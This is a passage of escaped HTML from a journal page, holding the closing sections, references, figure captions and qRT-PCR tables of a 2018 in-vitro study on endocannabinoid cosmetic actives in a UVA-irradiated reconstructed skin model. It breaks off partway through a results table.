Ceramage<sup>&reg;</sup> Fluid Concentrate are registered trademarks of Unifarco S.p.A.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>9. Author contributions</strong> </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Marisa Meloni and Alessandra Semenzato conceived and designed the experiments; Elisa Caviola performed the experiments; Marisa Meloni and Elisa Caviola analyzed the data; Gianni Baratto provided the materials (endocannabinoids and cosmetic products); Giulia Galizia wrote the paper. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>10. Conflicts of interest </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The following study was sponsored by Unifarco S.p.A. The founding sponsors had no role in the design of the study; in the collection, analyses, or interpretation of data; in the writing of the manuscript, and in the decision to publish the results.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10911963\">Franceschi C, Bonaf&egrave; M, Valensin S, Olivieri F, De Luca M, et al. (2000) Inflamm-aging. An evolutionary perspective on immunosenescence. Ann N Y Acad Sci 908: 244-254.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/24833586\">Franceschi C, Campisi J (2014) Chronic inflammation (inflammaging) and its potential contribution to age-associated diseases. J Gerontol A Biol Sci Med Sci 69: S4-9.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23041385\">Olivieri F, Spazzafumo L, Santini G, Lazzarini R, Albertini MC, et al. (2012) Age-related differences in the expression of circulating microRNAs: miR-21 as a new circulating marker of inflammaging. Mech Ageing Dev 133: 675-685.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21502305\">Ma X, Becker Buscaglia LE, Barker JR, Li Y (2011) MicroRNAs in NF-&kappa;B signaling. J Mol Cell Biol 3: 159-166.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19116625\">Baud V, Karin M (2009) Is NF-kappaB a good target for cancer therapy? Hopes and pitfalls. Nat Rev Drug Discov 8: 33-40.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2705851/\">Liang R, Bates DJ, Wang E (2009) Epigenetic Control of MicroRNA Expression and Aging. Curr Genomics 10: 184-193.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16026309\">Thakur GA, Nikas SP, Makriyannis A (2005) CB1 cannabinoid receptor ligands. Mini Rev Med Chem 5: 631-640.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2757311/\">B?r? T, T?th BI, Hask? G, Paus R, Pacher P (2009) The endocannabinoid system of the skin in health and disease: novel perspectives and therapeutic opportunities. Trends Pharmacol Sci 30: 411-420.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19909294\">Petrosino S, Cristino L, Karsak M, Gaffal E, Ueda N, et al. (2010) Protective role of palmitoylethanolamide in contact allergic dermatitis. Allergy 65: 698-711.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12527815\">Sancho R, Calzado MA, Di Marzo V, Appendino G, Mu&ntilde;oz E (2003) Anandamide inhibits nuclear factor-kappaBactivation through a cannabinoid receptor-independent pathway. Mol Pharmacol 63: 429-438.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/27493973\">Xia S, Zhang X, Zheng S, Khanabdali R, Kalionis B, et al. (2016) An Update on Inflamm-aging: Mechanism, Prevention, and Treatment. J Immunol Res 2016: 8426874.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20066092\">Oeckinghaus A, Ghosh S (2009) The NF-kappaBfamily of transcription factors and its regulation. Cold Spring HarbPerspect Biol 1: a000034.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23688930\">Olivieri F, Rippo MR, Monsurr&ograve; V, Salvioli S, Capri M, et al. (2013) MicroRNAs linking inflamm-aging, cellular senescence and cancer. Ageing Res Rev 12: 1056-1068.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25484882\">Saba R, Sorensen DL, Booth SA (2014) MicroRNA-146a: A Dominant, Negative Regulator of the Innate Immune Response. Front Immunol 5: 578.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/715d4f10.jpg\" style=\"height:351px; width:525px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Schematic representation of the NF-kB pathway</span></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/729c6f09.jpg\" style=\"height:296px; width:625px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> Schematic representation of the miRNA pathway. The blue arrows indicate an upregulation, while the red arrows indicate a down regulation</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/624c70bf.png\" style=\"height:386px; width:567px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>(Legend:</strong> RQ=1 Negative control, RQ &le; 0.5 significant down regulation, RQ &ge; 2 significant up regulation)</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> miRNA gene modulation after 6 hours treatment post-irradiation</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/63d3a47d.png\" style=\"height:374px; width:634px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>(Legend:</strong> RQ=1 Negative control, RQ &le; 0.5 significant down regulation, RQ &ge; 2 significant up regulation)</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong> mRNA gene modulation after 6 hours treatment post-irradiation</span></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/65ef37a2.jpg\" style=\"height:591px; width:725px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5:</strong> Schematic representation of the suggested mechanism of action of Anandamide 0.5% on miRNAs and NF-&kappa;B expression. The blue arrows indicate an up regulation, while the red arrows indicate a down regulation.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/67092610.jpg\" style=\"height:351px; width:825px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 6:</strong> Schematic representation of the suggested mechanism of action of Isopalmide<sup>&reg;</sup> 0.1% and 0.5% on miRNAs and NF-&kappa;B expression. The blue arrows indicate an up regulation, while the red arrows indicate a down regulation</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/68c76a89.jpg\" style=\"height:351px; width:725px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 7:</strong> Schematic representation of the suggested mechanism of action of Ceramage<sup>&reg;</sup> Fluid Concentrate on miRNAs and NF-&kappa;B expression. The blue arrows indicate an up regulation, while the red arrows indicate a down regulation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/69bbb77a.png\" style=\"height:363px; width:625px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 8:</strong> LDH release in the culture media of collected samples after 6 hours of treatment with tested compounds</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/7026f973.png\" style=\"height:447px; width:525px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 9:</strong> H&amp;E staining histology after 6 hours treatment post-irradiation analysed under light microscopy (20x)</span></span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Semenzato A, Meloni M, Caviola E, Galizia G and Baratto G (2018) A New Synthetic Endocannabinoid as Anti-Inflammaging Cosmetic Active: an In Vitro Study on a Reconstructed Skin Model. Curr Updates Dermatol Probl: CUDP-100003.</span></span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"MsoTableGrid\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miRNA</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Code</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">HSA-miR-21</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P161018-005 H01</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">HSA-miR-126</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P161005-020 F10</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">HSA-miR-146a</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P160919-006 C04</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">U18</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P160831-000 H11</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Genes (RNA)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Code</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">IKK-&alpha; (CHUK)</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hs00989502_m1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">NF-&kappa;B</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hs00765730_m1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:91.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">GADPH</span></p>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hs99999905_m1</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong> TaqMan assays used in the qRT-PCR analysis</span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-126</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-146a</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-21</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">CHUK</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">IKBKG</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">NFKB1</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">UVA</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.171</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.518</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.118</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.206</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.524</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.687</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.089</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.948</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.174</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Anandamide 0.5%</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.821</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.986</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.950</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.551</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.291</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.219</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.379</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.909</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.115</span></p>\r\n			</td>\r\n			<td style=\"width:68.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.486</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.196</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"7\" style=\"width:481.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Legend:</span></strong><span style=\"font-size:10.0pt\"> RQ=1 Negative control, RQ &le; 0.5 significant down regulation, RQ &ge; 2 significant up regulation</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2:</strong> miRNA and RNA gene expression after irradiation and treatment with Anandamide 0.5%</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:81.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-126</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-146a</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-21</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">CHUK</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">IKBKG</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">NFKB1</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">UVA</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.171</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.518</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.118</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.206</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.524</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.687</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.089</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.948</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.174</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Isopalmide<sup>&reg;</sup>0,1%</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.330</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.219</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.938</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.130</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.741</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.796</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.353</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.415</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.274</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.787</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.074</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.198</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"7\" style=\"width:492.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Legend:</span></strong><span style=\"font-size:10.0pt\"> RQ=1 Negative control, RQ &le; 0.5 significant down regulation, RQ &ge; 2 significant up regulation</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3:</strong> miRNA and RNA gene expression after irradiation and treatment with Isopalmide<sup>&reg;</sup> 0.1%</span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:81.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-126</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-146a</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">miR-21</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">CHUK</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">IKBKG</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">NFKB1</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">UVA</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.171</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.518</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.118</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.000</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.206</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.524</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.687</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.089</span></p>\r\n			</td>\r\n			<td style=\"width:68.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.948</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.174</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:81.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Isopalmide<sup>&reg;</sup>0,5%</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.690</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.231</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.331</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&plusmn; 0.222</span></p>\r\n			</td>\r\n			<td style=\"width:68.55pt\">\r\n			<p style=\"text-align:center\"><span 